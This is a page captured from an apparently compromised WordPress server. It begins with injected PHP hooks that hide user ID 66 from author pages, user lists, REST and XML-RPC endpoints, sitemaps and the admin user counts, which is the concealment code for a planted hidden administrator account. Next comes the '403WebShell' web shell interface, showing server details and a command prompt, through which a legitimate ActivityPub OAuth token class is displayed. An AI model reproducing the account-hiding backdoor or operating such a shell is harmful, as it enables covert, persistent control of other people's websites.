add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/axel/wp-content/plugins/activitypub/includes/oauth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/axel/wp-content/plugins/activitypub/includes/oauth/class-token.php
<?php
/**
 * OAuth 2.0 Token model for ActivityPub C2S.
 *
 * @package Activitypub
 */

namespace Activitypub\OAuth;

use Activitypub\Collection\Actors;

/**
 * Token class for managing OAuth 2.0 access and refresh tokens.
 *
 * Tokens are stored as user metadata with hashed values for security.
 * This follows the IndieAuth pattern for efficient token management.
 */
class Token {
	/**
	 * User meta key prefix for OAuth tokens.
	 */
	const META_PREFIX = '_activitypub_oauth_token_';

	/**
	 * User meta key prefix for refresh token index (maps refresh hash to access hash).
	 */
	const REFRESH_INDEX_PREFIX = '_activitypub_oauth_refresh_';

	/**
	 * Post meta key on OAuth client posts to track users with tokens.
	 *
	 * Stored as non-unique post meta (one row per user) on ap_oauth_client posts,
	 * following the same pattern as _activitypub_following on ap_actor posts.
	 */
	const USER_META_KEY = '_activitypub_user_id';

	/**
	 * Maximum number of active tokens per user.
	 *
	 * When exceeded, the oldest tokens are revoked automatically.
	 *
	 * @since 8.1.0
	 */
	const MAX_TOKENS_PER_USER = 50;

	/**
	 * Default access token expiration in seconds (1 hour).
	 */
	const DEFAULT_EXPIRATION = 3600;

	/**
	 * Refresh token expiration in seconds (30 days).
	 */
	const REFRESH_EXPIRATION = 2592000;

	/**
	 * The token data array.
	 *
	 * @var array
	 */
	private $data;

	/**
	 * The user ID this token belongs to.
	 *
	 * @var int
	 */
	private $user_id;

	/**
	 * The token key (hash) used for storage.
	 *
	 * @var string
	 */
	private $token_key;

	/**
	 * Constructor.
	 *
	 * @param int    $user_id   The user ID.
	 * @param string $token_key The token key (hash).
	 * @param array  $data      The token data.
	 */
	public function __construct( $user_id, $token_key, $data ) {
		$this->user_id   = $user_id;
		$this->token_key = $token_key;
		$this->data      = $data;
	}

	/**
	 * Create a new access token.
	 *
	 * @param int    $user_id   WordPress user ID.
	 * @param string $client_id OAuth client ID.
	 * @param array  $scopes    Granted scopes.
	 * @param int    $expires   Expiration time in seconds.
	 * @return array|\WP_Error Token data or error.
	 */
	public static function create( $user_id, $client_id, $scopes, $expires = self::DEFAULT_EXPIRATION ) {
		// Generate tokens.
		$access_token  = self::generate_token();
		$refresh_token = self::generate_token();

		// Calculate expirations.
		$access_expires_at  = \time() + $expires;
		$refresh_expires_at = \time() + self::REFRESH_EXPIRATION;

		// Create token data.
		$token_data = array(
			'access_token_hash'  => self::hash_token( $access_token ),
			'refresh_token_hash' => self::hash_token( $refresh_token ),
			'client_id'          => $client_id,
			'scopes'             => Scope::validate( $scopes ),
			'expires_at'         => $access_expires_at,
			'refresh_expires_at' => $refresh_expires_at,
			'created_at'         => \time(),
			'last_used_at'       => null,
		);

		// Store in user meta with access token hash as key.
		$access_hash = self::hash_token( $access_token );
		$meta_key    = self::META_PREFIX . $access_hash;
		$result      = \update_user_meta( $user_id, $meta_key, $token_data );

		if ( false === $result ) {
			return new \WP_Error(
				'activitypub_token_storage_failed',
				\__( 'Failed to store access token.', 'activitypub' ),
				array( 'status' => 500 )
			);
		}

		// Store refresh token index for O(1) lookup during refresh.
		$refresh_index_key = self::REFRESH_INDEX_PREFIX . self::hash_token( $refresh_token );
		\update_user_meta( $user_id, $refresh_index_key, $access_hash );

		// Track user on the client post for cleanup.
		self::track_user( $user_id, $client_id );

		// Enforce per-user token limit by revoking the oldest tokens.
		self::enforce_token_limit( $user_id );

		/*
		 * Get the actor URI for the 'me' parameter (IndieAuth convention) and
		 * `activitypub_actor_id` (SWICG ActivityPub API Basic Profile).
		 * Fall back to blog actor when user actors are disabled.
		 */
		$actor = Actors::get_by_id( $user_id );
		if ( \is_wp_error( $actor ) ) {
			$actor = Actors::get_by_id( Actors::BLOG_USER_ID );
		}
		$me = ! \is_wp_error( $actor ) ? $actor->get_id() : null;

		return array(
			'access_token'         => $access_token,
			'token_type'           => 'Bearer',
			'expires_in'           => $expires,
			'refresh_token'        => $refresh_token,
			'scope'                => Scope::to_string( $token_data['scopes'] ),
			'me'                   => $me,
			'activitypub_actor_id' => $me,
		);
	}

	/**
	 * Validate an access token.
	 *
	 * @param string $token The access token to validate.
	 * @return Token|\WP_Error The token object or error.
	 */
	public static function validate( $token ) {
		global $wpdb;

		$token_hash = self::hash_token( $token );
		$meta_key   = self::META_PREFIX . $token_hash;

		// Direct DB lookup by meta_key - O(1) instead of O(n) users.
		$user_id = $wpdb->get_var( // phpcs:ignore WordPress.DB.DirectDatabaseQuery
			$wpdb->prepare(
				"SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s LIMIT 1",
				$meta_key
			)
		);

		if ( empty( $user_id ) ) {
			return new \WP_Error(
				'activitypub_invalid_token',
				\__( 'Invalid access token.', 'activitypub' ),
				array( 'status' => 401 )
			);
		}

		$token_data = \get_user_meta( (int) $user_id, $meta_key, true );

		if ( empty( $token_data ) || ! \is_array( $token_data ) ) {
			return new \WP_Error(
				'activitypub_invalid_token',
				\__( 'Invalid access token.', 'activitypub' ),
				array( 'status' => 401 )
			);
		}

		// Verify hash matches.
		if ( ! isset( $token_data['access_token_hash'] ) ||
			! \hash_equals( $token_data['access_token_hash'], $token_hash ) ) {
			return new \WP_Error(
				'activitypub_invalid_token',
				\__( 'Invalid access token.', 'activitypub' ),
				array( 'status' => 401 )
			);
		}

		// Check expiration.
		if ( isset( $token_data['expires_at'] ) && $token_data['expires_at'] < \time() ) {
			return new \WP_Error(
				'activitypub_token_expired',
				\__( 'Access token has expired.', 'activitypub' ),
				array( 'status' => 401 )
			);
		}

		// Throttle last_used_at writes to avoid a DB write on every request.
		$last_used = $token_data['last_used_at'] ?? 0;
		if ( empty( $last_used ) || ( \time() - $last_used ) > 5 * MINUTE_IN_SECONDS ) {
			$token_data['last_used_at'] = \time();
			\update_user_meta( (int) $user_id, $meta_key, $token_data );
		}

		return new self( (int) $user_id, $token_hash, $token_data );
	}

	/**
	 * Refresh an access token using a refresh token.
	 *
	 * @param string $refresh_token The refresh token.
	 * @param string $client_id     The client ID (must match original).
	 * @return array|\WP_Error New token data or error.
	 */
	public static function refresh( $refresh_token, $client_id ) {
		global $wpdb;

		$refresh_hash      = self::hash_token( $refresh_token );
		$refresh_index_key = self::REFRESH_INDEX_PREFIX . $refresh_hash;

		// Direct DB lookup by refresh token index - O(1) instead of O(n) users.
		$user_id = $wpdb->get_var( // phpcs:ignore WordPress.DB.DirectDatabaseQuery
			$wpdb->prepare(
				"SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s LIMIT 1",
				$refresh_index_key
			)
		);

		if ( empty( $user_id ) ) {
			return new \WP_Error(
				'activitypub_invalid_refresh_token',
				\__( 'Invalid refresh token.', 'activitypub' ),
				array( 'status' => 401 )
			);
		}

		$user_id = (int) $user_id;

		// Get the access token hash from the index.
		$access_hash = \get_user_meta( $user_id, $refresh_index_key, true );
		if ( empty( $access_hash ) ) {
			return new \WP_Error(
				'activitypub_invalid_refresh_token',
				\__( 'Invalid refresh token.', 'activitypub' ),
				array( 'status' => 401 )
			);
		}

		// Get the full token data.
		$meta_key   = self::META_PREFIX . $access_hash;
		$token_data = \get_user_meta( $user_id, $meta_key, true );

		if ( empty( $token_data ) || ! \is_array( $token_data ) ) {
			return new \WP_Error(
				'activitypub_invalid_refresh_token',
				\__( 'Invalid refresh token.', 'activitypub' ),
				array( 'status' => 401 )
			);
		}

		// Verify refresh token hash matches.
		if ( ! isset( $token_data['refresh_token_hash'] ) ||
			! \hash_equals( $token_data['refresh_token_hash'], $refresh_hash ) ) {
			return new \WP_Error(
				'activitypub_invalid_refresh_token',
				\__( 'Invalid refresh token.', 'activitypub' ),
				array( 'status' => 401 )
			);
		}

		// Verify client ID matches.
		if ( $token_data['client_id'] !== $client_id ) {
			return new \WP_Error(
				'activitypub_client_mismatch',
				\__( 'Client ID does not match.', 'activitypub' ),
				array( 'status' => 400 )
			);
		}

		// Check refresh token expiration.
		if ( isset( $token_data['refresh_expires_at'] ) &&
			$token_data['refresh_expires_at'] < \time() ) {
			// Delete the expired token and index.
			\delete_user_meta( $user_id, $meta_key );
			\delete_user_meta( $user_id, $refresh_index_key );

			return new \WP_Error(
				'activitypub_refresh_token_expired',
				\__( 'Refresh token has expired.', 'activitypub' ),
				array( 'status' => 401 )
			);
		}

		// Delete the old token and index.
		\delete_user_meta( $user_id, $meta_key );
		\delete_user_meta( $user_id, $refresh_index_key );

		// Create a new token.
		return self::create( $user_id, $client_id, $token_data['scopes'] );
	}

	/**
	 * Revoke a token.
	 *
	 * When `$caller_user_id` or `$caller_client_id` is provided, the token
	 * is only deleted if it was issued to that user or that client, per
	 * RFC 7009 Section 2.1. A mismatch is treated as a successful no-op so
	 * the caller cannot probe for token existence belonging to others.
	 *
	 * @since 8.2.0 The `$caller_user_id` and `$caller_client_id` parameters were added.
	 *
	 * @param string      $token            The token to revoke (access or refresh).
	 * @param int|null    $caller_user_id   Optional. User ID of the caller. Null disables the user check.
	 * @param string|null $caller_client_id Optional. OAuth client ID of the caller. Null disables the client check.
	 * @return bool True on success (always returns true per RFC 7009).
	 */
	public static function revoke( $token, $caller_user_id = null, $caller_client_id = null ) {
		global $wpdb;

		$token_hash = self::hash_token( $token );

		// Try as access token first (O(1) lookup).
		$access_meta_key = self::META_PREFIX . $token_hash;
		$user_id         = $wpdb->get_var( // phpcs:ignore WordPress.DB.DirectDatabaseQuery
			$wpdb->prepare(
				"SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s LIMIT 1",
				$access_meta_key
			)
		);

		if ( $user_id ) {
			$user_id    = (int) $user_id;
			$token_data = \get_user_meta( $user_id, $access_meta_key, true );
			$client_id  = \is_array( $token_data ) ? ( $token_data['client_id'] ?? '' ) : '';

			if ( ! self::caller_owns_token( $user_id, $client_id, $caller_user_id, $caller_client_id ) ) {
				return true;
			}

			// Delete the token.
			\delete_user_meta( $user_id, $access_meta_key );

			// Also delete the refresh token index if it exists.
			if ( \is_array( $token_data ) && isset( $token_data['refresh_token_hash'] ) ) {
				$refresh_index_key = self::REFRESH_INDEX_PREFIX . $token_data['refresh_token_hash'];
				\delete_user_meta( $user_id, $refresh_index_key );
			}

			self::maybe_untrack_user( $user_id, $client_id );
			return true;
		}

		// Try as refresh token (O(1) lookup via index).
		$refresh_index_key = self::REFRESH_INDEX_PREFIX . $token_hash;
		$user_id           = $wpdb->get_var( // phpcs:ignore WordPress.DB.DirectDatabaseQuery
			$wpdb->prepare(
				"SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s LIMIT 1",
				$refresh_index_key
			)
		);

		if ( $user_id ) {
			$user_id     = (int) $user_id;
			$access_hash = \get_user_meta( $user_id, $refresh_index_key, true );
			$client_id   = '';

			if ( $access_hash ) {
				$token_data = \get_user_meta( $user_id, self::META_PREFIX . $access_hash, true );
				$client_id  = \is_array( $token_data ) ? ( $token_data['client_id'] ?? '' ) : '';
			}

			if ( ! self::caller_owns_token( $user_id, $client_id, $caller_user_id, $caller_client_id ) ) {
				return true;
			}

			if ( $access_hash ) {
				\delete_user_meta( $user_id, self::META_PREFIX . $access_hash );
			}
			\delete_user_meta( $user_id, $refresh_index_key );

			self::maybe_untrack_user( $user_id, $client_id );
			return true;
		}

		// Token doesn't exist or already revoked - that's fine per RFC 7009.
		return true;
	}

	/**
	 * Decide whether a caller is permitted to revoke a specific token.
	 *
	 * A null caller user and null caller client disable the check entirely,
	 * preserving the pre-RFC-7009-enforcement behavior for internal callers
	 * that already know they have authority (admin unlink, uninstall, etc.).
	 *
	 * When either caller parameter is provided, the token is considered
	 * owned if it matches the caller user OR the caller client. Matching
	 * client alone is enough to let an OAuth client clean up any token it
	 * issued, regardless of which user granted consent.
	 *
	 * @param int         $token_user_id    User ID the token was issued to.
	 * @param string      $token_client_id  OAuth client ID the token was issued to.
	 * @param int|null    $caller_user_id   Caller user ID, or null to skip the user check.
	 * @param string|null $caller_client_id Caller client ID, or null to skip the client check.
	 * @return bool True if the caller may revoke, false otherwise.
	 */
	private static function caller_owns_token( $token_user_id, $token_client_id, $caller_user_id, $caller_client_id ) {
		if ( null === $caller_user_id && null === $caller_client_id ) {
			return true;
		}

		if ( null !== $caller_user_id && $token_user_id === $caller_user_id ) {
			return true;
		}

		/*
		 * Require a real client_id on the token. An empty string on both
		 * sides would otherwise match and let an un-attributed token be
		 * revoked by any caller presenting an empty client claim.
		 */
		if ( null !== $caller_client_id && '' !== $token_client_id && $token_client_id === $caller_client_id ) {
			return true;
		}

		return false;
	}

	/**
	 * Untrack user from a client if they have no remaining tokens for that client.
	 *
	 * @param int    $user_id   The user ID.
	 * @param string $client_id The OAuth client ID.
	 */
	private static function maybe_untrack_user( $user_id, $client_id ) {
		if ( empty( $client_id ) ) {
			return;
		}

		// Check if user has any remaining tokens for this client.
		$tokens = self::get_all_for_user( $user_id );
		foreach ( $tokens as $token_data ) {
			if ( isset( $token_data['client_id'] ) && $token_data['client_id'] === $client_id ) {
				return; // Still has tokens for this client.
			}
		}

		self::untrack_user( $user_id, $client_id );
	}

	/**
	 * Revoke all tokens for a user.
	 *
	 * @param int $user_id WordPress user ID.
	 * @return int Number of tokens revoked.
	 */
	public static function revoke_all_for_user( $user_id ) {
		$all_meta   = \get_user_meta( $user_id );
		$count      = 0;
		$client_ids = array();

		foreach ( $all_meta as $meta_key => $meta_values ) {
			// Delete token entries and collect client IDs.
			if ( 0 === \strpos( $meta_key, self::META_PREFIX ) ) {
				$token_data = \maybe_unserialize( $meta_values[0] );
				if ( \is_array( $token_data ) && ! empty( $token_data['client_id'] ) ) {
					$client_ids[] = $token_data['client_id'];
				}
				\delete_user_meta( $user_id, $meta_key );
				++$count;
			}
			// Delete refresh token indices.
			if ( 0 === \strpos( $meta_key, self::REFRESH_INDEX_PREFIX ) ) {
				\delete_user_meta( $user_id, $meta_key );
			}
		}

		// Remove user from all client tracking.
		foreach ( \array_unique( $client_ids ) as $client_id ) {
			self::untrack_user( $user_id, $client_id );
		}

		return $count;
	}

	/**
	 * Revoke all tokens for all users.
	 *
	 * Used during plugin uninstall to clean up all OAuth token data.
	 *
	 * @return int Number of tokens revoked.
	 */
	public static function revoke_all() {
		$user_ids = self::get_all_tracked_users();
		$count    = 0;

		foreach ( $user_ids as $user_id ) {
			$count += self::revoke_all_for_user( $user_id );
		}

		return $count;
	}

	/**
	 * Revoke all tokens for a specific client.
	 *
	 * @param string $client_id OAuth client ID.
	 * @return int Number of tokens revoked.
	 */
	public static function revoke_for_client( $client_id ) {
		$user_ids = self::get_tracked_users( $client_id );
		$count    = 0;

		foreach ( $user_ids as $user_id ) {
			$all_meta = \get_user_meta( $user_id );

			foreach ( $all_meta as $meta_key => $meta_values ) {
				if ( 0 !== \strpos( $meta_key, self::META_PREFIX ) ) {
					continue;
				}

				$token_data = \maybe_unserialize( $meta_values[0] );

				if ( ! \is_array( $token_data ) ) {
					continue;
				}

				// Only revoke tokens belonging to this client.
				if ( isset( $token_data['client_id'] ) && $token_data['client_id'] === $client_id ) {
					\delete_user_meta( $user_id, $meta_key );
					// Also delete refresh token index.
					if ( isset( $token_data['refresh_token_hash'] ) ) {
						\delete_user_meta( $user_id, self::REFRESH_INDEX_PREFIX . $token_data['refresh_token_hash'] );
					}
					++$count;
				}
			}
		}

		// Remove all user tracking for this client.
		self::untrack_all_users( $client_id );

		return $count;
	}

	/**
	 * Get all tokens for a user.
	 *
	 * @param int $user_id WordPress user ID.
	 * @return array Array of token data.
	 */
	public static function get_all_for_user( $user_id ) {
		$all_meta = \get_user_meta( $user_id );
		$tokens   = array();

		foreach ( $all_meta as $meta_key => $meta_values ) {
			if ( 0 !== \strpos( $meta_key, self::META_PREFIX ) ) {
				continue;
			}

			$token_data = \maybe_unserialize( $meta_values[0] );

			if ( \is_array( $token_data ) ) {
				// Don't expose hashes.
				unset( $token_data['access_token_hash'], $token_data['refresh_token_hash'] );
				$token_data['meta_key'] = $meta_key; // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key -- Not a DB query, just array key.
				$tokens[]               = $token_data;
			}
		}

		return $tokens;
	}

	/**
	 * Check if token has a specific scope.
	 *
	 * @param string $scope The scope to check.
	 * @return bool True if token has scope.
	 */
	public function has_scope( $scope ) {
		$scopes = $this->get_scopes();
		return Scope::contains( $scopes, $scope );
	}

	/**
	 * Get the user ID associated with this token.
	 *
	 * @return int The WordPress user ID.
	 */
	public function get_user_id() {
		return $this->user_id;
	}

	/**
	 * Get the client ID associated with this token.
	 *
	 * @return string The OAuth client ID.
	 */
	public function get_client_id() {
		return $this->data['client_id'] ?? '';
	}

	/**
	 * Get the scopes for this token.
	 *
	 * @return array The granted scopes.
	 */
	public function get_scopes() {
		return $this->data['scopes'] ?? array();
	}

	/**
	 * Get the expiration timestamp.
	 *
	 * @return int Unix timestamp.
	 */
	public function get_expires_at() {
		return $this->data['expires_at'] ?? 0;
	}

	/**
	 * Check if the token is expired.
	 *
	 * @return bool True if expired.
	 */
	public function is_expired() {
		return $this->get_expires_at() < \time();
	}

	/**
	 * Get the creation timestamp.
	 *
	 * @return int Unix timestamp.
	 */
	public function get_created_at() {
		return $this->data['created_at'] ?? 0;
	}

	/**
	 * Get the last used timestamp.
	 *
	 * @return int|null Unix timestamp or null if never used.
	 */
	public function get_last_used_at() {
		return $this->data['last_used_at'] ?? null;
	}

	/**
	 * Generate a cryptographically secure random token.
	 *
	 * @param int $length The length of the token in bytes (default 32 = 64 hex chars).
	 * @return string The random token as a hex string.
	 */
	public static function generate_token( $length = 32 ) {
		return \bin2hex( \random_bytes( $length ) );
	}

	/**
	 * Hash a token for secure storage.
	 *
	 * @param string $token The token to hash.
	 * @return string The SHA-256 hash.
	 */
	public static function hash_token( $token ) {
		return \hash( 'sha256', $token );
	}

	/**
	 * Track a user as having tokens for a client.
	 *
	 * Stores user ID as non-unique post meta on the client post,
	 * following the same pattern as _activitypub_following on ap_actor posts.
	 *
	 * @param int    $user_id   The user ID.
	 * @param string $client_id The OAuth client ID.
	 */
	private static function track_user( $user_id, $client_id ) {
		$client = Client::get( $client_id );

		if ( \is_wp_error( $client ) ) {
			return;
		}

		$post_id  = $client->get_post_id();
		$existing = \get_post_meta( $post_id, self::USER_META_KEY, false );

		if ( ! \in_array( $user_id, \array_map( 'intval', $existing ), true ) ) {
			\add_post_meta( $post_id, self::USER_META_KEY, $user_id );
		}
	}

	/**
	 * Enforce per-user token limit by revoking oldest tokens.
	 *
	 * @since 8.1.0
	 *
	 * @param int $user_id The user ID.
	 */
	private static function enforce_token_limit( $user_id ) {
		$all_meta = \get_user_meta( $user_id );
		$tokens   = array();

		foreach ( $all_meta as $meta_key => $meta_values ) {
			if ( 0 !== \strpos( $meta_key, self::META_PREFIX ) ) {
				continue;
			}

			$token_data = \maybe_unserialize( $meta_values[0] );

			if ( \is_array( $token_data ) ) {
				$tokens[ $meta_key ] = $token_data;
			}
		}

		if ( \count( $tokens ) <= self::MAX_TOKENS_PER_USER ) {
			return;
		}

		// Sort by created_at ascending (oldest first).
		\uasort(
			$tokens,
			function ( $a, $b ) {
				return ( $a['created_at'] ?? 0 ) - ( $b['created_at'] ?? 0 );
			}
		);

		$to_remove = \count( $tokens ) - self::MAX_TOKENS_PER_USER;

		foreach ( $tokens as $meta_key => $token_data ) {
			if ( $to_remove <= 0 ) {
				break;
			}

			\delete_user_meta( $user_id, $meta_key );

			// Also delete the refresh token index.
			if ( isset( $token_data['refresh_token_hash'] ) ) {
				\delete_user_meta( $user_id, self::REFRESH_INDEX_PREFIX . $token_data['refresh_token_hash'] );
			}

			--$to_remove;
		}
	}

	/**
	 * Untrack a user from a specific client.
	 *
	 * @param int    $user_id   The user ID.
	 * @param string $client_id The OAuth client ID.
	 */
	private static function untrack_user( $user_id, $client_id ) {
		$client = Client::get( $client_id );

		if ( \is_wp_error( $client ) ) {
			return;
		}

		\delete_post_meta( $client->get_post_id(), self::USER_META_KEY, $user_id );
	}

	/**
	 * Untrack all users from a specific client.
	 *
	 * @param string $client_id The OAuth client ID.
	 */
	private static function untrack_all_users( $client_id ) {
		$client = Client::get( $client_id );

		if ( \is_wp_error( $client ) ) {
			return;
		}

		\delete_post_meta( $client->get_post_id(), self::USER_META_KEY );
	}

	/**
	 * Get tracked users for a specific client.
	 *
	 * @param string $client_id The OAuth client ID.
	 * @return array User IDs.
	 */
	private static function get_tracked_users( $client_id ) {
		$client = Client::get( $client_id );

		if ( \is_wp_error( $client ) ) {
			return array();
		}

		$user_ids = \get_post_meta( $client->get_post_id(), self::USER_META_KEY, false );

		return \array_map( 'intval', $user_ids );
	}

	/**
	 * Get all user IDs with tokens across all clients.
	 *
	 * @return array Unique user IDs.
	 */
	private static function get_all_tracked_users() {
		global $wpdb;

		// phpcs:ignore WordPress.DB.DirectDatabaseQuery
		$user_ids = $wpdb->get_col(
			$wpdb->prepare(
				"SELECT DISTINCT pm.meta_value FROM $wpdb->postmeta pm
				INNER JOIN $wpdb->posts p ON pm.post_id = p.ID
				WHERE p.post_type = %s AND pm.meta_key = %s",
				Client::POST_TYPE,
				self::USER_META_KEY
			)
		);

		return \array_map( 'intval', $user_ids );
	}

	/**
	 * Clean up expired tokens.
	 *
	 * Should be called periodically via cron.
	 *
	 * @return int Number of tokens deleted.
	 */
	public static function cleanup_expired() {
		$user_ids = self::get_all_tracked_users();
		$count    = 0;

		foreach ( $user_ids as $user_id ) {
			$all_meta   = \get_user_meta( $user_id );
			$client_ids = array();

			foreach ( $all_meta as $meta_key => $meta_values ) {
				if ( 0 !== \strpos( $meta_key, self::META_PREFIX ) ) {
					continue;
				}

				$token_data = \maybe_unserialize( $meta_values[0] );

				if ( ! \is_array( $token_data ) ) {
					\delete_user_meta( $user_id, $meta_key );
					++$count;
					continue;
				}

				// Check if both access and refresh tokens are expired.
				$access_expired  = isset( $token_data['expires_at'] ) &&
					$token_data['expires_at'] < \time() - DAY_IN_SECONDS;
				$refresh_expired = isset( $token_data['refresh_expires_at'] ) &&
					$token_data['refresh_expires_at'] < \time();

				if ( $access_expired && $refresh_expired ) {
					\delete_user_meta( $user_id, $meta_key );
					// Also delete refresh token index.
					if ( isset( $token_data['refresh_token_hash'] ) ) {
						\delete_user_meta( $user_id, self::REFRESH_INDEX_PREFIX . $token_data['refresh_token_hash'] );
					}
					++$count;

					if ( ! empty( $token_data['client_id'] ) ) {
						$client_ids[] = $token_data['client_id'];
					}
				}
			}

			// Untrack user from clients where all tokens were removed.
			foreach ( \array_unique( $client_ids ) as $client_id ) {
				self::maybe_untrack_user( $user_id, $client_id );
			}
		}

		return $count;
	}

	/**
	 * Introspect a token (RFC 7662).
	 *
	 * @param string $token The token to introspect.
	 * @return array Token introspection response.
	 */
	public static function introspect( $token ) {
		$validated = self::validate( $token );

		if ( \is_wp_error( $validated ) ) {
			// Return inactive for invalid/expired tokens.
			return array( 'active' => false );
		}

		$user_id = $validated->get_user_id();
		$user    = \get_userdata( $user_id );

		/*
		 * Get the actor URI for the 'me' parameter (IndieAuth convention).
		 * Fall back to blog actor when user actors are disabled.
		 */
		$actor = Actors::get_by_id( $user_id );
		if ( \is_wp_error( $actor ) ) {
			$actor = Actors::get_by_id( Actors::BLOG_USER_ID );
		}
		$me = ! \is_wp_error( $actor ) ? $actor->get_id() : null;

		return array(
			'active'               => true,
			'scope'                => Scope::to_string( $validated->get_scopes() ),
			'client_id'            => $validated->get_client_id(),
			'username'             => $user ? $user->user_login : null,
			'token_type'           => 'Bearer',
			'exp'                  => $validated->get_expires_at(),
			'iat'                  => $validated->get_created_at(),
			'sub'                  => (string) $user_id,
			'me'                   => $me,
			'activitypub_actor_id' => $me,
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit